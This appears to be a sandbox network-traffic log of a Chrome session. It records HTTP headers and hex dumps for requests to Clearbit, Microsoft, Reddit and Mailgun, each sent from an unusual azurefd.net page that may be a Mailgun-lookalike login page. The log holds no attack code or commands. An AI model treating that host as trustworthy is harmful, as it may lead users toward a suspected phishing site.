2024-07-03 12:38:44 UTC	601	OUT	GET /v2/pk_54258638e2140e223e87c6c868ec9a93/destinations.min.js HTTP/1.1 Host: x.clearbitjs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	345	IN	HTTP/1.1 403 Forbidden cache-control: private, max-age=600 content-type: application/json vary: Accept-Encoding content-length: 28 date: Wed, 03 Jul 2024 12:38:44 GMT x-envoy-response-flags: - server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff connection: close
2024-07-03 12:38:45 UTC	28	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 49 6e 76 61 6c 69 64 20 72 65 66 65 72 72 65 72 22 7d Data Ascii: {"error":"Invalid referrer"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49730	2.18.97.153	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-03 12:38:44 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=99013 Date: Wed, 03 Jul 2024 12:38:44 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-03 12:38:44 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49737	151.101.129.140	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:45 UTC	559	OUT	GET /ads/pixel.js HTTP/1.1 Host: www.redditstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	1015	IN	HTTP/1.1 200 OK Connection: close Content-Length: 12116 Last-Modified: Thu, 20 Jun 2024 19:23:03 GMT ETag: "71b328aff914ada8b774bfa8fff542c4" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=60 Content-Encoding: gzip Content-Type: application/javascript Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 03 Jul 2024 12:38:45 GMT Vary: Accept-Encoding,Origin Server: snooserv Report-To: {"group": "w3-reporting-nel", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting-nel.reddit.com/reports" }]}, {"group": "w3-reporting", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting.reddit.com/reports" }]}, {"group": "w3-reporting-csp", "max_age": 14400, "include_subdomains": true, "endpoints": [{ "url": "https://w3-reporting-csp.reddit.com/reports" }]} NEL: {"report_to": "w3-reporting-nel", "max_age": 14400, "include_subdomains": false, "success_fraction": 0.02, "failure_fraction": 0.02}
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d4 3b 6b 73 da c8 96 7f 05 ab 6e b8 92 69 cb 80 b1 93 08 6b 5c 04 e4 98 89 8d bd 3c 9c 4c b9 18 4a 96 1a 50 22 24 46 12 71 bc 86 fd ed 7b fa 25 b5 04 b6 93 3b 3b 1f 36 95 42 dd 7d 4e 9f 77 9f 3e dd 92 f7 a6 ab c0 49 bc 30 28 45 2a 46 01 4a b4 a7 74 24 54 3d 34 d5 9e bc a9 ba 17 dc 79 63 d6 c2 b4 f5 dd 8e 4a 8e a9 08 54 c5 34 93 c7 25 0e a7 a5 08 ff b5 f2 22 5c 2e f3 46 93 cc 99 96 cb 8e 16 e1 64 15 05 25 07 88 ee 55 35 32 be 12 63 2b 3e 46 a8 da 66 80 1f 4a 56 14 85 91 aa b4 ed 20 08 93 d2 d4 0b dc d2 22 74 57 3e 2e fd 5b a9 78 15 e5 df 8a d6 4c e6 51 f8 50 b2 75 27 74 b1 a9 5c 5d 77 46 97 d6 a4 77 3d 9c 9c 5f 8f 7a 1d 05 d9 1b 42 6f 69 12 d9 cd 27 fc 63 19 46 49 6c 3c 6d 36 4d a2 c3 5d 75 ac 3b b6 ef ab 4b 9d 83 90 d0 46 8d Data Ascii: ;ksnik\<LJP"$Fq{%;;6B}Nw>I0(E*FJt$T=4ycJT4%"\.Fd%U52c+>FfJV "tW>.[xLQPu't\]wFw=_zBoi'cFIl<m6M]u;KF
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: 35 f4 02 55 21 55 c8 12 ba 52 28 00 06 cc cb 94 67 fd 4b 16 4d ac c3 63 0b 15 bc 28 63 12 5f d6 b5 4c bb 23 58 a4 94 11 f1 20 a7 02 9b 27 d8 1f ce 82 75 0d 81 8c 74 ed 7a 6f de ed 37 5e f5 af cc e9 b0 4e 72 fd 25 54 64 41 8d bb 96 77 fe 31 ef fa 94 fe df 77 b0 44 87 39 8f 39 4c 9f 46 e1 82 8c b6 61 1b a0 6e cf fc 27 4f 79 d6 85 0c 29 e7 c5 74 88 3b 32 ed 3f e3 cb 02 3e 55 4a 56 65 6d aa a0 41 39 23 e3 70 79 5b 89 ea 69 c2 97 a0 e8 ab be 2c 70 22 ce 1c 25 d3 77 dc 95 b4 f9 8a 23 a5 d2 de c5 64 eb 1c f5 bb ed 70 b1 84 4c 04 c1 86 63 c7 5e 62 95 c5 84 b4 9b 66 04 b4 b4 dc 07 5a c5 52 ff ca f6 c1 86 0b a8 e6 47 c3 f3 83 77 25 d7 4e 6c 85 08 59 b0 f9 0a 04 a5 16 e7 92 70 7e 14 4b 5d 05 5c 0a b6 b5 e7 e4 13 13 35 42 f4 c3 6a 3a c5 11 76 3f f8 a1 f3 ad e5 cf c2 Data Ascii: 5U!UR(gKMc(c_L#X 'utzo7^Nr%TdAw1wD99LFan'Oy)t;2?>UJVemA9#py[i,p"%w#dpLc^bfZRGw%NlYp~K]\5Bj:v?
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: 3e a6 01 51 71 68 ef 68 4c e3 a2 e2 d2 5e 63 4c c3 a3 82 69 ef 78 4c a3 a4 32 a5 bd 93 31 0d 96 ca 8c f6 de 8e 69 cc 54 e6 eb 2a 0d d7 f3 ad 7a 88 65 bb 9f 3a d5 04 64 09 0e c3 c4 f6 cd 77 fb c5 63 15 83 5e e2 69 02 c0 5c 81 2d 6a 81 94 e6 5d 8a 0a 46 3d 86 93 7d ad fe 8e 9e df d3 f1 37 47 f5 4c 84 bb 5a a3 a2 a6 a0 ca 49 03 66 bd 3f 3d 6d 68 63 96 19 a7 7e 08 8b 2c 13 ee 30 4b 5e 9a 4c e5 f8 39 2a d9 d4 fc c9 c0 6c ec 67 27 09 7e 6b b1 ab cc 64 ab fa c5 43 00 cf 3b af 1c 03 68 d2 91 f2 44 fe 18 00 55 56 bb 90 c7 72 a5 a6 ca 60 a4 2c 23 f5 e0 6e cc b4 50 14 d8 bc 60 43 69 9d c0 c6 ff 3f 96 09 c7 3f 51 26 28 ab 18 97 c8 c5 02 68 46 f7 0a cf 45 ed eb de 60 d8 ea 0d 07 66 4e 76 fa 12 2c 89 15 72 e1 49 2c 26 43 d9 08 80 c8 1b 64 18 c6 71 42 77 8b 2f 57 97 17 Data Ascii: >QqhhL^cLixL21iTze:dwc^i\-j]F=}7GLZIf?=mhc~,0K^L9lg'~kdC;hDUVr`,#nP`Ci??Q&(hFE`fNv,rI,&CdqBw/W
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: 86 7f dc 58 06 db 6c 21 57 92 87 82 a8 6c f0 03 8c 05 da c0 ba b4 da c3 eb 1c fe a4 3d 18 f0 39 a4 a9 f0 6d 6b 68 7d 19 8a 61 d2 a6 f4 08 df 61 ab db 1b 50 c2 69 8f c1 ac 2f b0 b0 19 80 36 81 6f 1a f1 40 00 b2 54 c6 19 b6 2c 0b 16 2a 7d 90 8d 85 89 05 69 9f b7 e4 b9 45 a1 89 b8 29 90 4a cc 64 4d c7 a8 b8 1b f2 8f 7e b8 fc f6 3f 39 25 bc 7a 44 80 ea eb bf 56 38 7a 84 34 0a eb 3f c9 9f 16 fe 22 10 f1 19 9a be 85 8a 58 6d 1c cb 53 f8 10 50 26 1b fc f7 86 0c a3 5b be 86 6c 58 b8 de 02 2a 42 28 59 60 35 d3 d4 9d 95 8c 04 29 fd c0 8b 1c 4d 3a e4 ed 05 61 4e 26 a9 5a 45 d1 95 0a 41 da 34 b9 da fa 4e 82 bb 06 85 a1 c8 3d 1a b9 9f 1b 01 99 73 f2 09 01 85 de d6 33 29 1c 36 42 b2 18 ff 56 73 e9 7b 89 29 0d d3 57 74 50 3e eb 4a 7a 1a a6 23 fc c0 7d 5a 3f 93 90 0d 0a Data Ascii: Xl!Wl=9mkh}aaPi/6o@T,}iE)JdM~?9%zDV8z4?"XmSP&[lXB(Y`5)M:aN&ZEA4N=s3)6BVs{)WtP>Jz#}Z?
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: b6 ae e7 1f 24 43 dd 92 6b ec 4d 6f 3c 3c 97 9f f2 18 3d bb 2c c6 75 36 9e 74 4d 64 8e 7d 3a a1 01 77 2b 68 f4 e5 16 b8 52 98 68 5a f6 4a b9 8e cb 5c 27 36 e8 77 ab 82 34 76 9d b0 41 90 a7 89 2c 75 3c bb 1d c9 63 42 bf 2c 93 ee 2a fa 14 61 33 79 7a ae fb 70 25 e2 b8 2c 0a 45 98 44 46 68 ab ef 9d 20 5b ce 43 03 29 37 6c d9 e1 70 5f 96 5b 6c 76 bf bf 2c 7a 83 86 32 6d 34 65 64 ff 2c 95 20 2c 93 70 64 ee bf e8 32 a0 78 cb f5 c8 5e fa 28 3b a9 45 56 1c c3 f1 43 6b b4 b0 8f a8 d2 99 94 58 af ed 8c 0f 93 c1 2d ef 0c c4 2d 6c 35 d0 2f cc 40 eb 10 96 d8 e0 d7 61 6f 77 50 fe d2 31 3a 86 cd e6 8b f8 89 c7 c8 4e ea 32 e0 0c d6 e8 19 5c 16 cf a6 73 39 68 4b cd 30 7d d4 b9 9f 60 0e 0f 70 33 b0 6f 9a a4 97 97 73 56 0b c8 ac d5 d6 1d 1e 21 79 0b b5 19 04 6e a7 2f da ee Data Ascii: $CkMo<<=,u6tMd}:w+hRhZJ\'6w4vA,u<cB,*a3yzp%,EDFh [C)7lp_[lv,z2m4ed, ,pd2x^(;EVCkX--l5/@aowP1:N2\s9hK0}`p3osV!yn/
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: 04 a4 16 b6 c5 64 62 66 52 c6 ee 78 a0 96 b6 4a d8 b0 bd c3 ca 5b 30 96 b8 e1 f0 06 b5 7b ab c6 c6 4c 45 60 14 b0 65 1d d0 09 ea ee 44 bb 11 ac eb 67 06 52 94 41 1b 01 0e 3a 22 82 49 d5 a6 da ec e2 71 0d 44 58 0f 90 84 10 c1 66 a5 84 2b 93 9a 47 e0 a4 cc 80 74 db b4 48 f5 20 58 48 a2 2d 26 45 a4 2d 64 29 83 2a c1 1b 01 35 d7 fe 00 a9 d8 3d 70 45 bb 2d 2c ba 14 49 38 d0 a5 62 63 e6 94 f4 ea 06 da 74 95 8a 32 8d cb d0 65 8c 8d d6 9b 4b 62 0d b1 d9 fd 30 ae c8 b7 f5 3f 85 27 3a 72 c3 d7 72 c6 07 6e 3f 71 46 69 10 7f e9 c9 c7 18 8e 4a 0e aa 79 ae c3 de 2e 80 59 c3 35 01 70 50 25 65 98 f3 97 f8 4a a6 fb a5 14 6b 1b d8 f4 6e 25 cd 9a 2b fb 64 b7 fe 0f 70 74 35 a3 56 cd 1e 33 5b fc d9 b4 e4 e7 2f 4c 93 f4 c7 c4 99 e8 89 8b 6d c2 b1 f3 16 63 de 0f 3f 3c dd 45 4f Data Ascii: dbfRxJ[0{LE`eDgRA:"IqDXf+GtH XH-&E-d)*5=pE-,I8bct2eKb0?':rrn?qFiJy.Y5pP%eJkn%+dpt5V3[/Lmc?<EO
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: 20 5c 2e 5b d4 42 b2 92 cf 25 25 f5 84 5c fe 53 d5 f6 06 b4 89 32 e0 9b 4d 87 f6 50 3a 7c 93 e9 de 5e 42 60 4a 16 fe 73 bc d1 83 7b 5a 6d d8 52 9a 1b 5b 5c c0 71 10 b2 9e c1 4b dd 0a 1c d3 51 42 c1 83 dd 8b fd 1c 91 36 c2 8c a8 19 80 82 8e 65 09 5f 1b 08 6a d0 86 9f 18 51 b5 21 5c 98 cc 43 2d c4 c5 ee c0 40 ce d8 59 97 ab 54 92 cc 75 94 8c 15 b5 06 52 69 7b e8 1e 80 33 e6 14 38 cc 3d d0 9a a7 a6 22 62 29 12 f6 6e 9d 53 80 1e 49 e0 18 36 95 fb 5a 3d da b9 fc b4 b1 32 ec 44 a4 7a d2 50 07 1a 58 7f 68 ea b6 91 31 82 aa c6 a6 11 c4 b8 10 81 ca b4 ca 8a d2 9f bf 59 73 47 04 b3 36 6b 3e 11 91 e5 a0 d4 89 8f f6 77 32 72 25 d8 1b 6a 4b 75 15 bd 3e 6a 0b 5f ab 71 9b 76 12 b5 be 65 7e 00 80 a7 e3 bc 25 a5 54 d0 3d b8 ec b9 e3 d5 a8 13 79 07 23 05 b9 57 e2 00 9c c1 Data Ascii: \.[B%%\S2MP:\|^B`Js{ZmR[\qKQB6e_jQ!\C-@YTuRi{38="b)nSI6Z=2DzPXh1YsG6k>w2r%jKu>j_qve~%T=y#W
2024-07-03 12:38:45 UTC	1378	IN	Data Raw: 32 83 6c c9 61 03 5a 8c ee da 10 5d ab fd ce 91 ab 74 90 5b 0c c8 72 a5 5c e9 06 4f ab d5 d8 0f 73 65 e0 54 81 99 67 aa 15 0a 72 69 45 63 c2 00 df e2 c5 21 27 d3 20 60 78 c5 73 ed 24 48 d1 9a 22 90 4e 75 c0 01 92 72 f3 df 1b b3 c9 bf da b3 93 dc 17 b1 ef 3b 57 f0 58 16 06 ab 00 2c 1b 24 12 23 97 ad 3a c5 68 bd 4a fd 77 65 66 45 5b e7 12 1f df 01 b2 0c 54 6e be 91 64 22 a5 6b 49 c2 bc 30 b1 84 4c be 7a eb 5b 42 09 17 52 85 19 82 d1 34 47 c0 0f 93 c9 4c 9f 2b 49 d5 c6 52 b2 a7 22 a2 7b 53 aa 80 ec 7b 61 0f ff d9 0f 22 7a a2 ce 9e 8b 8a 53 6c d6 dc 76 dd a1 85 3d ec c3 c3 6a 15 87 d9 ac 89 d5 46 4e fb 59 f3 87 8a 98 47 c1 89 3c db 79 22 56 6a 27 b2 9d ef 7c 00 7e ea cf 76 40 83 b8 f3 df 16 26 02 74 94 1f 1c 85 80 52 8e 44 f4 20 ee 61 de 7f ca 48 d9 11 c9 53 Data Ascii: 2laZ]t[r\OseTgriEc!' `xs$H"Nur;WX,$#:hJwefE[Tnd"kI0Lz[BR4GL+IR"{S{a"zSlv=jFNYG<y"Vj'\|~v@&tRD aHS
2024-07-03 12:38:45 UTC	1092	IN	Data Raw: d5 7a 39 b9 ba ea 61 92 6c 13 5e bd 5f 5f 69 95 89 80 17 86 35 d3 02 10 c9 af 00 24 91 27 c4 3b f9 25 d3 15 65 78 15 cf 2a e8 f7 d3 36 66 24 09 12 91 e1 05 3c 03 98 22 c0 14 00 96 e6 75 21 23 30 3b a6 e9 ca a5 4d f9 ca 68 ae 26 e9 3a 44 93 93 c3 29 21 5d 9e 6a d8 2e 38 4f 10 ef 72 84 62 eb a3 15 f7 cd 22 29 45 ce 39 e4 e4 07 a3 49 6f a6 8a a5 22 19 23 be a0 84 7a 8f 89 c0 80 b9 1c c0 ed b4 f2 7c 49 81 10 5f e3 58 56 12 51 c2 a1 84 8d 4a 54 c1 83 7e ce a0 e4 31 f1 af 45 82 f5 e0 28 45 8b 24 a7 64 9c b3 86 20 5d 50 a4 50 d7 39 ea 51 e5 59 8f 86 44 50 18 70 12 58 55 27 86 26 3f ba 1b 54 60 0c 72 66 33 d3 d7 e0 d3 5f e8 95 68 6f 1c 2b 6a 33 70 2a 79 b1 30 b3 c9 7f 34 25 c0 18 4c 95 78 54 84 f0 5a 02 54 4a 8f 0e 84 80 e6 9e 97 3d 78 21 dc e8 4f fa f8 b0 f6 e6 Data Ascii: z9al^__i5$';%ex6f$<"u!#0;Mh&:D)!]j.8Orb")E9Io"#z\|I_XVQJT~1E(E$d ]PP9QYDPpXU'&?T`rf3_ho+j3py04%LxTZTJ=x!O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49732	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:45 UTC	643	OUT	GET /login/static/mailgun-login-leftrail.png HTTP/1.1 Host: login.mailgun.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	426	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=mailgun-login-leftrail.png Content-Length: 182211 Content-Type: image/png Date: Wed, 03 Jul 2024 12:38:45 GMT Etag: "1718130172.0-182211-1768433185" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:45 UTC	753	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 04 20 08 06 00 00 00 b4 31 a9 73 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 02 c7 58 49 44 41 54 78 01 ec bd 07 9c e4 c6 75 e7 ff 0a dd 3d 79 67 73 ce 89 cb b0 cb 9c c4 a8 c0 20 89 a2 24 8a 4a 56 3a 05 cb 96 65 ff 2d a7 b3 6c cb 51 3e cb 41 be 93 6d d9 be 93 64 fb 6c eb 14 2c 2a 33 89 a4 98 73 de 65 5c 2e b9 39 e7 34 b9 bb 51 ff f7 0a 28 a0 80 06 7a 7a 36 70 7b 67 7e df fd f4 4e 37 1a 28 14 0a d5 85 5f bd 7a f5 4a 51 c8 fa f5 fb 27 50 5b db e7 b4 d6 6f 24 92 17 00 00 00 00 00 00 e0 b8 a2 e9 59 e5 79 7f bf 70 66 fb 7f d8 4d 4a fe 5b bf 7d ff 02 ad 5b ee e5 b7 0b 08 00 00 00 00 00 00 Data Ascii: PNGIHDR 1spHYs%%IR$sRGBgAMAaXIDATxu=ygs $JV:e-lQ>Amdl,*3se\.94Q(zz6p{g~N7(_zJQ'P[o$YypfMJ[}[
2024-07-03 12:38:45 UTC	2358	IN	Data Raw: 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 00 00 00 34 11 10 e8 00 00 00 Data Ascii: 4444444444444444444444444
2024-07-03 12:38:45 UTC	559	IN	Data Raw: f4 b9 a3 7d 32 84 5d de fd a6 d4 76 95 3a af 5b ff a3 3c 53 6d 5d cd ac 9b b6 0c 74 32 8f b9 69 51 ea f7 9b 91 76 fd bb 57 fb fb 4e ff 76 28 95 56 96 01 21 5d 77 12 f5 c0 d9 6e f3 eb de 23 b7 ed d2 e9 eb b1 c7 67 59 b4 73 ea a5 8e 0b 2f 59 9f ec ef c6 f9 9c a8 a3 6e 7a 76 bf 94 85 3b dd 26 d7 e4 61 04 d6 ef 84 d1 25 ca bb f3 9d fb 9c 70 d3 ce 69 13 01 00 cd 03 5c 5c 9a 04 eb f2 60 c5 54 44 a3 43 af 8d 0c eb 1e 43 ec 43 50 65 f8 45 ea ac 7c 84 22 dc 3e 34 6d e7 41 8f e4 da 86 db 76 0c 51 4e 47 22 7d 1d c3 9d 77 44 c7 1e 41 39 64 0d 69 e7 a6 5f ef 1c a9 ed 89 74 d3 2e 03 e9 6b c9 3a af fb d7 92 73 fd 35 d7 90 57 7f 9d d1 9f 61 cb e8 f5 fc 0d a8 6c 97 95 dc 32 94 8f 9e 17 ee aa 73 f3 79 24 f7 f6 78 5c ab cd 47 bd eb 19 2e 1f 99 c7 e6 dc df 11 dd b7 e1 ea 63 Data Ascii: }2]v:[<Sm]t2iQvWNv(V!]wn#gYs/Ynzv;&a%pi\\`TDCCCPeE\|">4mAvQNG"}wDA9di_t.k:s5Wal2sy$x\G.c
2024-07-03 12:38:45 UTC	4522	IN	Data Raw: 69 d6 68 ae eb 92 e3 e4 c7 4d 97 52 cf 20 45 70 83 01 e0 58 50 24 70 5c 48 fb 6f e6 fa 95 3b 82 3b b3 51 4b 59 dc ad cb 49 56 63 9d f0 65 8c b6 38 83 99 61 5a 3a e3 81 91 da 33 db ff 30 dd 58 a7 3a 20 2a eb fa dc cf a9 eb 96 7c 48 0f 51 3b 93 a9 28 55 5e be 8e dd 83 a2 bc 59 ab 8e eb 3f 9a e7 db 9a 81 c4 6b 50 a9 72 a5 70 9b bd 0e 4d b1 48 d5 e9 f4 32 1e 5a 51 99 ab 38 84 62 a2 4c dc fd 9d ef 6b ca c7 49 5f 39 79 4a 1f 9f 97 9f c4 fe 69 32 dc aa ec 3d 30 ef 9d f4 6b ca 35 a3 7c 55 5e 9e b2 f6 77 f3 99 da 6e cb 49 5e e6 de 84 d7 e1 3b db c9 a9 03 76 3b b9 e7 77 ce 1b 95 41 c6 f5 ba 9f a3 fb 93 27 7c ec 6f 93 52 a2 44 25 e7 59 e8 54 1e 6b 7e 1f 79 ae 03 e9 bc da 3c 65 f9 4c 87 fb da 7d 5c eb a6 7b ce 68 9f 9c fa af 9d df 51 56 d9 28 37 0f e9 f3 b9 65 97 57 Data Ascii: ihMR EpXP$p\Ho;;QKYIVce8aZ:30X: *\|HQ;(U^Y?kPrpMH2ZQ8bLkI_9yJi2=0k5\|U^wnI^;v;wA'\|oRD%YTk~y<eL}\{hQV(7eW
2024-07-03 12:38:45 UTC	5792	IN	Data Raw: 44 97 a2 2a 15 75 1f d1 e1 43 34 b4 ea 15 3a f8 ed 1f d0 90 c4 cb 79 d3 b5 34 f8 86 2b 9c 54 92 4f 26 79 8e fa ce 56 37 c6 fc 70 ee 2e f5 84 fa 48 27 99 02 70 92 a3 11 66 31 03 95 67 41 d7 f1 6a 6a e9 c6 42 e7 f9 98 87 9f 63 cb 3a 45 81 4f c4 08 31 a9 a3 48 5d ed 36 6c 1d 51 1c 5a 8d dc 99 a5 14 83 86 09 00 00 c0 d1 13 9b 9b 3c bb 21 fc 24 6f 24 ec ea 38 52 1d 9d d4 72 ee 44 ea a6 56 3a fc 93 9f 52 e9 27 3f 34 b1 dc 87 ce bb 90 15 84 84 81 4d ba bb 24 9e 8f 44 d1 c2 62 9a 28 d7 ad 45 27 d6 b1 a0 5c 77 d2 f4 71 00 8c 66 60 82 75 a8 59 82 3e c3 17 bd de 32 c7 e6 bd fc 97 5e a0 c1 c5 36 80 fc b7 bb b5 40 e3 3a 3c 13 c3 56 45 31 af 74 ce 81 6e 02 8a 20 d4 01 00 00 1c 2d 41 84 fe 20 66 7b fc e2 ff 25 16 bd cf 4f 26 59 1f a1 bd 9d 5a cf 39 83 ba ae 79 13 95 a7 Data Ascii: D*uC4:y4+TO&yV7p.H'pf1gAjjBc:EO1H]6lQZ<!$o$8RrDV:R'?4M$Db(E'\wqf`uY>2^6@:<VE1tn -A f{%O&YZ9y
2024-07-03 12:38:45 UTC	7074	IN	Data Raw: 62 cc 5b d0 d3 23 64 89 c6 25 fa 42 27 77 cc 8a 9a a1 d3 4a 48 9f 40 77 96 5a ec 42 10 66 61 22 b9 84 57 d6 93 bf 63 27 5b b0 d9 7a 6e d4 73 1d eb a3 fb 34 11 91 e8 7b 81 c3 0f 3f 34 2a 66 62 69 81 7a 4a 2d 34 f5 5d ef a6 f1 2b 96 91 9a da c1 ca 69 80 06 b7 ec a4 81 9d 7b a8 d2 37 40 85 b6 16 b6 98 b7 d2 84 65 4b a9 75 fa 32 9a b7 6c 16 f5 6e 5d 48 fb 1e 7f 9a 7a 1e 7f 9e ba 58 cc b5 54 83 13 e8 82 47 d5 b4 6b 50 a2 8f e0 34 f4 3a 70 c5 11 f7 9a 16 7e 3a 1f dc b0 81 68 ef 1e a2 ee 89 74 bc c7 2a aa 6c cd ae 86 56 9f 5b 6e bd 95 fe e4 4f fe 84 da bc 56 f3 d0 f4 59 1d 8b 15 7a e5 aa 55 d4 de d6 61 dc 60 82 f8 fa c1 7d f0 7d 11 95 15 16 ef 7b d9 0a bf 95 a6 b2 b0 9d 31 7d 3a 3f 7c 5b a3 87 53 85 cb a4 a7 b7 c7 1c 2b af 57 b8 43 b5 68 e1 02 9a 34 71 22 7d fe Data Ascii: b[#d%B'wJH@wZBfa"Wc'[zns4{?4fbizJ-4]+i{7@eKu2ln]HzXTGkP4:p~:htlV[nOVYzUa`}}{1}:?\|[S+WCh4q"}
2024-07-03 12:38:45 UTC	3062	IN	Data Raw: 23 da ba 9e da a7 4f a7 ce eb de 44 1e ff ed 7b e2 09 ea 7d 79 0d b5 96 07 24 0c 4b 20 ba c3 c6 5d e7 5f 51 70 1d c6 38 e3 9b 78 e1 7e 47 2b 15 27 8d 27 e3 cc 7d 1c 71 23 99 8c 68 1e 43 9d 2d 56 26 47 6e 27 4a d5 1c 73 ac ea 8f 29 5f aa 4d ff 48 d2 c9 7a ef 92 16 f1 b5 df 05 ff 2b 67 cc 24 31 11 1b 0f 68 70 3c a8 63 5f c9 a7 89 ea a2 6e 60 7b 53 fd 74 62 c1 ae ad 85 3c ed b9 12 8d 67 c7 6d ab ce 72 65 49 0c 73 38 23 e3 00 8c 12 c6 ae 05 dd 75 3b d1 b1 73 4a 72 78 2d e9 00 62 b7 a7 f7 77 5d 1a b4 15 e7 6e 03 59 db 27 38 31 f8 c6 17 84 c6 2f 5d 44 87 5b 24 14 e2 20 e7 b7 12 f9 36 0b 8d 58 3f c5 9d a4 b5 da 4f fd 3b 77 d0 f6 1f dc 4c d3 6f f8 00 2d 7a f7 8d b4 af 73 2a 15 c6 77 d2 f8 d3 96 c8 f2 93 a4 0f 1f 0a 16 0c 6a 51 a1 bb 09 77 06 ba da a8 6d f6 3c 9a Data Ascii: #OD{}y$K ]_Qp8x~G+''}q#hC-V&Gn'Js)_MHz+g$1hp<c_n`{Stb<gmreIs8#u;sJrx-bw]nY'81/]D[$ 